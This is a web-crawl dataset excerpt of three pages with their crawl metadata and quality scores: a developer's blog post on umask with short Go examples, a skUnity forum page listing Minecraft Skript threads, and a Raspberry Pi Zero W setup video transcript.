id
int64 | text
string | metadata
dict | line_start_n_end_idx
dict | quality_signals
dict | eai_taxonomy
dict | pid
string |
---|---|---|---|---|---|---|
1,293,126,113,164,258,300 |
A developer's view of umask
reading time 3 min
There are a zillion pages explaining how umask works from the user’s point of view, usually with great charts and tables explaining all the bits.
However in all my years I’ve never seen umask explained from the developer’s point of view. What do you provide to creat()/open()/mkdir() (in C) or os.OpenFile/os.Mkdir/os.MkdirAll (in Go) so that the user’s umask is in control.
The Linux manpage open(7) says:
1
2
3
The effective mode is modified by the process's umask in the usual
way: in the absence of a default ACL, the mode of the created
file is (mode & ~umask).
Clear as mud.
The FreeBSD manpage open(2) says:
1
2
the file is created with mode mode as described in
chmod(2) and modified by the process' umask value (see umask(2)).
umask(2) is not more clear.
Today (yes, after 25+ years of coding on unix systems) I finally fully understood what those mean.
Here’s how I’d describe it in plain English:
“Set the perm to the most permissive permissions you think are appropriate. The user’s umask will shrink that down based on their personal preferences/needs.”
That’s it! It’s that simple!
Examples
When creating a file, the permission are typically:
• 0600 == This file is just for the user.
• 0660 == This file is for the user and their group.
• 0664 == Like the previous but others can view the file.
• 0640 == This file is for the user; group can read.
Change any 6 to a 7 if the file should be executable (are you writing a compiler?)
Likewise, typically when creating a directory the permissions would be:
• 0700 == This directory is just for the user.
• 0770 == This directory is for the user and their group.
• 0750 == Like 0770 but their group can only view.
Change the 7 to a 6 (or a 5 to a 4) if you want the user, group, or others to be able to open files if they know the name, but can’t ls to find out what files are there. In your entire career you will never do that (unless you are writing a queue submission system that only uses the local file system… at which point you shouldn’t need this blog post.)
Typical umask settings
I typically set my umask to 0027 which strips out the “other” bits completely (why should I lets me collaborate with people in my team in a safe way (they can read, but not change).
I once met a woman who’s name on Yahoo and AIM (this was a long time ago) was her first name followed by 700. Once day I asked if she was trying to tell people, in a very Unix-y way that she was a very private person. Turns out I was the first to ever guess correctly! We can assume her umask is 0077.
Setting/reading the umask
What if you want to override the umask?
Well, you shouldn’t.
However, if you do, remember to set it back to the original value. That’s why the umask system call (which sets the umask) returns the old value: so that you can
In Go, here’s how you temporarily set the umask:
1
2
3
savedUmask := unix.Umask(forcedUmask)
// Do your thing here.
_ = unix.Umask(savedUmask) // Return the umask to the original
Or, if you just want to know the umask, set it then set it back right away:
1
2
umaskValue := unix.Umask(0)
_ = unix.Umask(umaskValue)
Tom Limoncelli
Tom Limoncelli
Recent Posts
1. My Connection to Alexander Hamilton
2. ISPs Against Fast Internet
3. Stack Overflow Is Hiring Azure SREs
4. Fake panic: How to get customer support to listen
5. I no longer answer customer support surveys
Archive
Categories
Tags
I agree that this website may store my data to personalize my journey in accordance with their Terms & conditions
Powered by Hugo | Theme - YesThatTheme © 2017 - 2021 Tom Limoncelli
|
{
"url": "https://www.yesthatblog.com/post/0072-go-and-umask/",
"source_domain": "www.yesthatblog.com",
"snapshot_id": "crawl=CC-MAIN-2021-17",
"warc_metadata": {
"Content-Length": "114681",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:3B7RZLOUEVMJR6MZLH2JKXSH73BN3LCH",
"WARC-Concurrent-To": "<urn:uuid:198fe6a9-81df-4858-b137-f63032a39c3a>",
"WARC-Date": "2021-04-17T09:39:47Z",
"WARC-IP-Address": "174.136.107.197",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RNUBVMAXDJN2M7NJJV6FZG22S47LGHEU",
"WARC-Record-ID": "<urn:uuid:edd1752b-70c8-436d-b21f-d26719f2aad8>",
"WARC-Target-URI": "https://www.yesthatblog.com/post/0072-go-and-umask/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a4217466-60bc-471a-a0e9-d13faf55a186>"
},
"warc_info": "isPartOf: CC-MAIN-2021-17\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-253.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
28,
29,
30,
49,
50,
196,
197,
426,
427,
459,
460,
462,
464,
466,
533,
595,
620,
621,
635,
636,
670,
671,
673,
675,
726,
792,
793,
821,
822,
921,
922,
967,
968,
1127,
1128,
1157,
1158,
1167,
1168,
1220,
1221,
1265,
1320,
1380,
1435,
1436,
1519,
1520,
1592,
1593,
1642,
1702,
1755,
1756,
2110,
2111,
2134,
2135,
2317,
2318,
2620,
2621,
2647,
2648,
2688,
2689,
2710,
2711,
2873,
2874,
2923,
2924,
2926,
2928,
2930,
2968,
2991,
3054,
3055,
3131,
3132,
3134,
3136,
3164,
3191,
3192,
3193,
3194,
3209,
3210,
3225,
3226,
3239,
3240,
3241,
3282,
3314,
3355,
3410,
3459,
3460,
3468,
3469,
3470,
3481,
3482,
3483,
3488,
3489,
3490,
3604,
3605
],
"line_end_idx": [
28,
29,
30,
49,
50,
196,
197,
426,
427,
459,
460,
462,
464,
466,
533,
595,
620,
621,
635,
636,
670,
671,
673,
675,
726,
792,
793,
821,
822,
921,
922,
967,
968,
1127,
1128,
1157,
1158,
1167,
1168,
1220,
1221,
1265,
1320,
1380,
1435,
1436,
1519,
1520,
1592,
1593,
1642,
1702,
1755,
1756,
2110,
2111,
2134,
2135,
2317,
2318,
2620,
2621,
2647,
2648,
2688,
2689,
2710,
2711,
2873,
2874,
2923,
2924,
2926,
2928,
2930,
2968,
2991,
3054,
3055,
3131,
3132,
3134,
3136,
3164,
3191,
3192,
3193,
3194,
3209,
3210,
3225,
3226,
3239,
3240,
3241,
3282,
3314,
3355,
3410,
3459,
3460,
3468,
3469,
3470,
3481,
3482,
3483,
3488,
3489,
3490,
3604,
3605,
3672
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3672,
"ccnet_original_nlines": 112,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.381969153881073,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.01660734973847866,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.24555160105228424,
"rps_doc_frac_unique_words": 0.4613003134727478,
"rps_doc_mean_word_length": 4.297213554382324,
"rps_doc_num_sentences": 44,
"rps_doc_symbol_to_word_ratio": 0.0011862399987876415,
"rps_doc_unigram_entropy": 5.189206600189209,
"rps_doc_word_count": 646,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.041066281497478485,
"rps_doc_frac_chars_dupe_6grams": 0.041066281497478485,
"rps_doc_frac_chars_dupe_7grams": 0.018731990829110146,
"rps_doc_frac_chars_dupe_8grams": 0.018731990829110146,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.020172910764813423,
"rps_doc_frac_chars_top_3gram": 0.018011530861258507,
"rps_doc_frac_chars_top_4gram": 0.01296829991042614,
"rps_doc_books_importance": -345.09161376953125,
"rps_doc_books_importance_length_correction": -345.09161376953125,
"rps_doc_openwebtext_importance": -197.18238830566406,
"rps_doc_openwebtext_importance_length_correction": -197.18238830566406,
"rps_doc_wikipedia_importance": -133.3744354248047,
"rps_doc_wikipedia_importance_length_correction": -133.3744354248047
},
"fasttext": {
"dclm": 0.0762745663523674,
"english": 0.9166448712348938,
"fineweb_edu_approx": 1.6544828414916992,
"eai_general_math": 0.4770135283470154,
"eai_open_web_math": 0.2050457000732422,
"eai_web_code": 0.04275656118988991
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-2,838,851,416,892,709,000 |
easy
• Welcome to skUnity!
Welcome to skUnity! This is a forum where members of the Skript community can communicate and interact. Skript Resource Creators can post their Resources for all to see and use.
If you haven't done so already, feel free to join our official Discord server to expand your level of interaction with the comminuty!
Now, what are you waiting for? Join the community now!
1. N
Script Spawn Script 0.0.2
An easy to use SetSpawn/Spawn script!!! Commands: /setspawn: Perm: skript.setspawn Desc: Sets the spawn to your location /spawn Desc: Teleports you to spawn and if there is none gives you an error message
2. N
Script AutoPickup Script 0.9
An AutoPickup script script with built in autosmelt!!! Commands: /autopickup: Aliases: /ap Desc: This will enable/disable autopickup for the player if you have this command enabled /autopickupcmd: Aliases: /apcmd Desc: This will enable/disable the autopickup command for the...
3. J
Sign on a block not the same as sign standing on ground
Ok this is a bit of an odd situation, So atm I am trying to make a skript where a player right-clicks a spruce sign and then X happens (atm it's just a message for debugging purposes) Skript version 2.6.3 on rightclick on a Spruce Sign: message "test" But the issue is this. If the sign is...
4. Jake
Skript [SkBee] Easy Tutorial for Scoreboards!
Hello! If you're reading this tutorial then you probably need help making a scoreboard, don't worry, I'll teach you step by step how to make a clean Scoreboard without flickering. IMPORTANT INFO REQUIREMENTS: Skript, SkBee List of plugins needed if you want the scoreboard to have...
5. M
Script Outline GUI 1.1.0
This script is a simple function. All you need to do in order to use this function is create a GUI, then format it as you like, and use this function to format the edges. Here is a simple example of how you could use this. command /outlinegui: permission: op trigger: set {_gui}...
6. mrclipse
list variables
I'm making a faction plugin for my anarchy server that doesn't have land claims, you can do /fcreate [<text>] to make a faction, but I want to check if that faction name has been taken already so there aren't 2 identical factions. I tried using a list variable to store all of the faction names...
7. fasteR
Solved Need help for my GUI
Hi there, I am new at Skript and skQuery. I want to learn it and trying to write some skripts. I need your help at that skript: command /ada <player>: description: Ada ile ilgili komutları gösterir. trigger: if arg-1 is set: wait 0.2 seconds open chest...
8. R
Need an easy Script!
Category: Block Event Suggested name: spawnpoint.sk Spigot/Skript Version: latest Skript What I want: Set Spawnpoint on Block like Checkpoint Ideas for commands: dont need it Ideas for perm: use.checkpoint Time: asap Greetings
9. jaylawl
Script Take a Seat [No add-ons] 1.1
This script allows players in survival or adventure mode to take a seat anywhere they like to. The script is quite lightweight and will under no circumstances lag your server. Guranteed to work on Skript-dev36 and Spigot 1.12. No add-ons required. Due to the simple nature of this script, many...
10. N
Easy fix // Skript problem
on right click: if player is in "Prison": if targeted block is stone brick: set targeted block to redstone block wait 5 seconds if the targeted block is redstone block: set targeted block to stone brick on left click...
11. E
Making Corpses
Category: Armorstands, Beds, Citizens, Npc Suggested name: Corpses What I want: A remake of the corpses plugin in Skript. (Spawns an NPC when the player dies, so it looks like they died and they're on the floor) https://www.spigotmc.org/resources/corpses.1817/ Also if the player dies in mid...
12. N
I need help with simple Skript
on rightclick: if player is holding a diamond: if player is in world "Game2": play sound I started this script not knowing how to finish it, i searched tutorials up on yt but no use. how would I make it so when I right click a diamond it plays sound by all nearby players...
13. T
I do not have this system
Hello everyone, I wanted to ask if they knew why this did not work or have another way to do this. I'm sorry if English is bad but I'm from Argentina and I'm using the translator ;) I want to make it set if {_timer} has more minutes than {CCK.% Loop-value% .time.reward} but it does not...
14. Adrihun
Solved a
a
15. B
Script ⚝ ConstomRecipes ⚝ » // Easy Configuration // Shapeless // shaped 1.0
我是一个中国人 不要吐槽我的英语有多烂 Create a new recipe in your server. Support Spigot 1.7 ~ 1.11 Easy to configuration and no lag FEATURES Easy - Skript Code isn't Java Fast - GUI operation does not edit config files No Command - Shift-Right Click on Crafting table to open the GUI Item - Support Name...
16. T
API EzYML 1.2
EzYML.sk Description: A simple function to speed up the process of creating YML files and adding values/lists into them. Usage: If you've ever used JSON.sk, you'll understand the way this function works. An example usage of this: on script load: if existence of "plugins/DIR/config.yml" is...
|
{
"url": "https://forums.skunity.com/tags/easy/",
"source_domain": "forums.skunity.com",
"snapshot_id": "CC-MAIN-2024-18",
"warc_metadata": {
"Content-Length": "105485",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5MV4OOKNA446HFZG7RWB2RBQLWJG5UOQ",
"WARC-Concurrent-To": "<urn:uuid:96252dc9-22bf-474b-824d-9a61745ab6e6>",
"WARC-Date": "2024-04-12T23:12:05Z",
"WARC-IP-Address": "172.67.69.156",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:5AONGWNT7W55SKRL2J2ANX3CMPIU3MDU",
"WARC-Record-ID": "<urn:uuid:2c611aeb-570b-42f1-8270-54bc99d3639c>",
"WARC-Target-URI": "https://forums.skunity.com/tags/easy/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d5c62a24-acc9-48cc-99fc-b4546a695b10>"
},
"warc_info": "isPartOf: CC-MAIN-2024-18\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-97\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
5,
6,
30,
31,
213,
214,
352,
353,
412,
413,
420,
421,
451,
452,
661,
668,
669,
702,
703,
985,
992,
993,
1053,
1054,
1351,
1361,
1362,
1412,
1413,
1701,
1708,
1709,
1738,
1739,
2025,
2039,
2040,
2059,
2060,
2362,
2374,
2375,
2407,
2408,
2668,
2675,
2676,
2701,
2702,
2933,
2946,
2947,
2987,
2988,
3289,
3297,
3298,
3329,
3330,
3554,
3562,
3563,
3582,
3583,
3882,
3890,
3891,
3926,
3927,
4206,
4214,
4215,
4245,
4246,
4540,
4554,
4555,
4568,
4569,
4575,
4583,
4584,
4665,
4666,
4960,
4968,
4969,
4987,
4988
],
"line_end_idx": [
5,
6,
30,
31,
213,
214,
352,
353,
412,
413,
420,
421,
451,
452,
661,
668,
669,
702,
703,
985,
992,
993,
1053,
1054,
1351,
1361,
1362,
1412,
1413,
1701,
1708,
1709,
1738,
1739,
2025,
2039,
2040,
2059,
2060,
2362,
2374,
2375,
2407,
2408,
2668,
2675,
2676,
2701,
2702,
2933,
2946,
2947,
2987,
2988,
3289,
3297,
3298,
3329,
3330,
3554,
3562,
3563,
3582,
3583,
3882,
3890,
3891,
3926,
3927,
4206,
4214,
4215,
4245,
4246,
4540,
4554,
4555,
4568,
4569,
4575,
4583,
4584,
4665,
4666,
4960,
4968,
4969,
4987,
4988,
5284
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 5284,
"ccnet_original_nlines": 89,
"rps_doc_curly_bracket": 0.0011355000315234065,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.33535003662109375,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04235091060400009,
"rps_doc_frac_lines_end_with_ellipsis": 0.14444443583488464,
"rps_doc_frac_no_alph_words": 0.23681935667991638,
"rps_doc_frac_unique_words": 0.44305238127708435,
"rps_doc_mean_word_length": 4.462414741516113,
"rps_doc_num_sentences": 86,
"rps_doc_symbol_to_word_ratio": 0.011235959827899933,
"rps_doc_unigram_entropy": 5.426700115203857,
"rps_doc_word_count": 878,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.006380809936672449,
"rps_doc_frac_chars_top_3gram": 0.005359880160540342,
"rps_doc_frac_chars_top_4gram": 0.012761609628796577,
"rps_doc_books_importance": -497.8321533203125,
"rps_doc_books_importance_length_correction": -497.8321533203125,
"rps_doc_openwebtext_importance": -282.4734191894531,
"rps_doc_openwebtext_importance_length_correction": -282.4734191894531,
"rps_doc_wikipedia_importance": -166.2431182861328,
"rps_doc_wikipedia_importance_length_correction": -166.2431182861328
},
"fasttext": {
"dclm": 0.10346143692731857,
"english": 0.8414074182510376,
"fineweb_edu_approx": 1.4318373203277588,
"eai_general_math": 0.3296383023262024,
"eai_open_web_math": 0.18671941757202148,
"eai_web_code": 0.20529592037200928
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "1",
"label": "Truncated Snippets"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-955,421,463,947,995,500 |
If this is your first experience with Raspberry Pi, and you're using a starter kit for a Raspberry Pi Zero W, then this tutorial is for you. We'll plug everything into where it needs to be, install an operating system and fire up our Pi Zero W (PZW) for the first time! We'll run through the essentials like setting up the keyboard to work properly, connecting to WiFi, and have a look at a few of the features on offer.
Transcript
G'day, today I'm going to show you how to assemble and power up your Raspberry Pi Zero W starter kit. I have the kit in front of me on the bench, we have the Raspberry Pi zero W, the SD card, that's pre flashed with the NOOBs operating system install, a HDMI to mini HDMI adapter, that's for our display, and this USB on-the-go adapter, so on one end we have the only goes into the Raspberry Pi and micro USB and then the other end is just a standard USB for us to plug in peripheries like laptops...like keyboards and mice sorry. At the top we have the official PI case and this comes with a couple of different lids I'm just going to use this blank lid today but it also comes with one that has a slot to access the GPIO and a small hole for the PI camera. I'll just take those two away we won't be needing those two today.
Over on the left I have a wireless mouse and off screen is a wireless keyboard and these both share the same receiver which is found inside the mouse, that's pretty common. So I'll just take this opportunity to take that out make sure the mouse is powered on, make sure the keyboard is powered on, and we're ready to assemble our Pi so the first thing we need to do is take the micro SD card out of the SD adapter, this guy goes into the micro-sd receptacle on the underside of the Pi and then we can put the Pi into the case, so align the sockets on the edge of the Pi with the sockets on the case and that it's just a press, snap fit, you'll hear and feel it click in and then we've got our Pi secured in the case. Let's go for the HDMI, so the HDMI is the bigger connector on the far left of the case and that's just going to plug in there, this one you do have to press this all the way in and you'll feel it click when it bottoms out against the case and my HDMI lead is already plugged into my monitor. Ok what's next we have the USB on-the-go adapter and my keyboard and mouse receiver, so I'll plug that in and that goes on the left of the two USB connectors, the one with that USB symbol, the one on the right is for power, that's a nice fit. And finally we have our power connection, which goes on the far right-hand side, now this one you may have to push just a little bit of pressure to get it in far enough and then once it's in this activity light will blink briefly, let's go over to the screen and see what's happening.
Alright, we've got our NOOBs boot sequence and here we are, okay so at the moment we have the option of installing two operating systems. If you want to explore other operating systems then we can quickly connect our PI to Wi-Fi, so down here I'm using a US keyboard so I have to go down to the bottom and select US, and then I'll be able to enter in your Wi-Fi password to connect to Wi-Fi. I'll quickly enter that in and see you in a sec.
Okay, connecting to Wi-Fi and okay now that we are connected to a network, we can see that there are plenty of other options for what we can install, so this icon on the right here means that this is an option that's already on the SD card, and icons with this network lead symbol that means that if you want to go with this option, it will do it download and then install it. For now I'm just going to select Raspbian with pixel and click install, then we just get a warning that we're going to overwrite the contents of the card and that's okay we're extracting the operating system that we want, so I'll hit yes and this process can take about 10-15 minutes what's currently happening is NOOBs which is a software installer program is extracting Raspbian with pixel onto the SD card.
Okay about 15 maybe closer to 20 minutes later, that's finished extracting. We can see that the OS has installed successfully, so I can just hit okay on that, and we're getting our first boot. And it just sits at this black screen for a little while, there's our cursor, it's always a good sign and we've got desktop, okay so this should look pretty familiar to anyone who's used a machine that has like a Windows operating environment before we have our task bar along the top with the familiar Start button or applications menu, I often call this the pi button, and you can see we've got a pretty simple looking menu, we had some programming tools, some office tools, you can browse the internet with a chromium, which is the open source Google Chrome browser, you can play Minecraft and there are a bunch of utilities that we can use.
So let's first set up, just make sure that keyboard is set up because we might want to you know when we use special characters we need to make sure that they're going to work properly. You can see actually I'm already connected to Wi-Fi because I connected during the NOOBs installation procedure, if you didn't follow along with that I'll show you how the keyboard is set up from here. So we go into this applications menu and then preferences, we can set up the mouse and keyboard from here. Over on the keyboard tab and this is where you can test your settings so if you if you leave it with the default Great Britain layout then when you press say hash which is shift 3 you'll get this pound symbol, so the keyboard layout has not been retained since the NOOBs installation, so if I now go into the keyboard layout and just go down one to the United States, and then I can just go up one level to English US, and now when I press (and we have a little test box down the bottom here) so now when I press shift three I get that hash symbol. Okay so now that that is entered it if you hadn't been connected to Wi-Fi you could go to your Wi-Fi menu select the network, enter your WiFi password as usual.
Now you might notice that we have these black bars around the end of the sides of the screen, this is called the overscan I think it's called. So we can remove those by going into preferences and Raspberry Pi configuration. From here just the very last option sorry, we have over scan and we can disable that if we press ok will be prompted to reboot now I'm not going to reboot just yet but if you were to select yes then the next time your Pi boots up those bars are going to go away, I'm just going to select no which means I will have to reboot later.
Let's just quickly open up the terminal and I'll show you how to keep your Pi Zero W up to date, open the terminal right from this icon that's on the applications bar or you can open it from the applications menu accessories and then terminal. This is the command-line interface for the Raspberry Pi, and it is worth getting used to. For today I'll just show you how to keep your Raspberry Pi up to date, I'll just make this font size a little bigger, the Raspberry Pi is a computer and so, of course, it has this operating system and operating systems often need to be kept up to date so I'll show you how that's done. We can enter the command
sudo apt-get update
and then we can follow it with two ampersands characters and enter
sudo apt-get upgrade
and then space a dash and y for yes. So this is actually taking two commands and stacking them up to run one after the other, the first command is sudo apt-get update and that essentially fetches a list of software packages and the status of their current state and sudo apt-get upgrade actually downloads those packages if necessary. The Y option here is just telling the Raspberry Pi to select yes when it was normally prompt us "Hey do you actually want to install these packages and use this much extra disk space", so I just add that in because this is often a stable command to run and just saves you being bothered by the Pi for user input. I won't run that now because it actually takes quite a long time to execute the very first time.
So now that I'll just show you how to safely power off your Pi, so you can do this be usual way which is by going to the applications menu and then selecting shut down, but if you want to get used to using this terminal interface you can issue the command
shut down now
and that will safely power off your Pi and there it goes.
Now that we've got your Pi up and running you may be wondering where to go to from here we've put together a free online course called the Raspberry Pi for Beginners workshop and in this course, we explore a lot of the features and capabilities in a Raspberry Pi. Now in that course I use a different model of Raspberry Pi but that's ok you'll still be able to follow along with your Pi Zero W. I'll see you next time.
Comments
Loading...
Feedback
Please continue if you would like to leave feedback for any of these topics:
• Website features/issues
• Content errors/improvements
• Missing products/categories
• Product assignments to categories
• Search results relevance
For all other inquiries (orders status, stock levels, etc), please contact our support team for quick assistance.
Note: click continue and a draft email will be opened to edit. If you don't have an email client on your device, then send a message via the chat icon on the bottom left of our website.
Makers love reviews as much as you do, please follow this link to review the products you have purchased.
|
{
"url": "https://core-electronics.com.au/videos/getting-started-with-your-raspberry-pi-zero-w-starter-kit",
"source_domain": "core-electronics.com.au",
"snapshot_id": "CC-MAIN-2024-18",
"warc_metadata": {
"Content-Length": "88649",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:PNE6CXTVFUJRF5TN6KLUH45YTMCW7PWQ",
"WARC-Concurrent-To": "<urn:uuid:b26e920d-7dfd-47d1-8c31-b03bfc470eb9>",
"WARC-Date": "2024-04-16T01:50:12Z",
"WARC-IP-Address": "104.26.1.78",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:D2COIOR7NN2U24RJQT6UEPHKFVCK2J24",
"WARC-Record-ID": "<urn:uuid:33b03f0c-a100-422f-a706-ddfb2cb39355>",
"WARC-Target-URI": "https://core-electronics.com.au/videos/getting-started-with-your-raspberry-pi-zero-w-starter-kit",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:cb29a7c8-4b49-4dac-beeb-208a31d8020f>"
},
"warc_info": "isPartOf: CC-MAIN-2024-18\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-159\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
421,
422,
433,
434,
1260,
1261,
2798,
2799,
3240,
3241,
4028,
4029,
4867,
4868,
6072,
6073,
6629,
6630,
7275,
7276,
7296,
7297,
7364,
7365,
7386,
7387,
8132,
8133,
8389,
8390,
8404,
8405,
8463,
8464,
8883,
8884,
8893,
8894,
8895,
8906,
8915,
8916,
8993,
8994,
9022,
9054,
9086,
9124,
9153,
9154,
9268,
9269,
9455,
9456
],
"line_end_idx": [
421,
422,
433,
434,
1260,
1261,
2798,
2799,
3240,
3241,
4028,
4029,
4867,
4868,
6072,
6073,
6629,
6630,
7275,
7276,
7296,
7297,
7364,
7365,
7386,
7387,
8132,
8133,
8389,
8390,
8404,
8405,
8463,
8464,
8883,
8884,
8893,
8894,
8895,
8906,
8915,
8916,
8993,
8994,
9022,
9054,
9086,
9124,
9153,
9154,
9268,
9269,
9455,
9456,
9561
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 9561,
"ccnet_original_nlines": 54,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.5510966181755066,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.032197851687669754,
"rps_doc_frac_lines_end_with_ellipsis": 0.01818181946873665,
"rps_doc_frac_no_alph_words": 0.10872607678174973,
"rps_doc_frac_unique_words": 0.27501365542411804,
"rps_doc_mean_word_length": 4.083652496337891,
"rps_doc_num_sentences": 45,
"rps_doc_symbol_to_word_ratio": 0.0009332700283266604,
"rps_doc_unigram_entropy": 5.354459285736084,
"rps_doc_word_count": 1829,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.019279690459370613,
"rps_doc_frac_chars_dupe_6grams": 0.008836519904434681,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.00937207043170929,
"rps_doc_frac_chars_top_3gram": 0.005623240023851395,
"rps_doc_frac_chars_top_4gram": 0.00642656022682786,
"rps_doc_books_importance": -762.745361328125,
"rps_doc_books_importance_length_correction": -762.745361328125,
"rps_doc_openwebtext_importance": -591.3524780273438,
"rps_doc_openwebtext_importance_length_correction": -591.3524780273438,
"rps_doc_wikipedia_importance": -396.0660705566406,
"rps_doc_wikipedia_importance_length_correction": -396.0660705566406
},
"fasttext": {
"dclm": 0.047886911779642105,
"english": 0.957190990447998,
"fineweb_edu_approx": 1.3541948795318604,
"eai_general_math": 0.5870296359062195,
"eai_open_web_math": 0.2508787512779236,
"eai_web_code": 0.2577522397041321
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
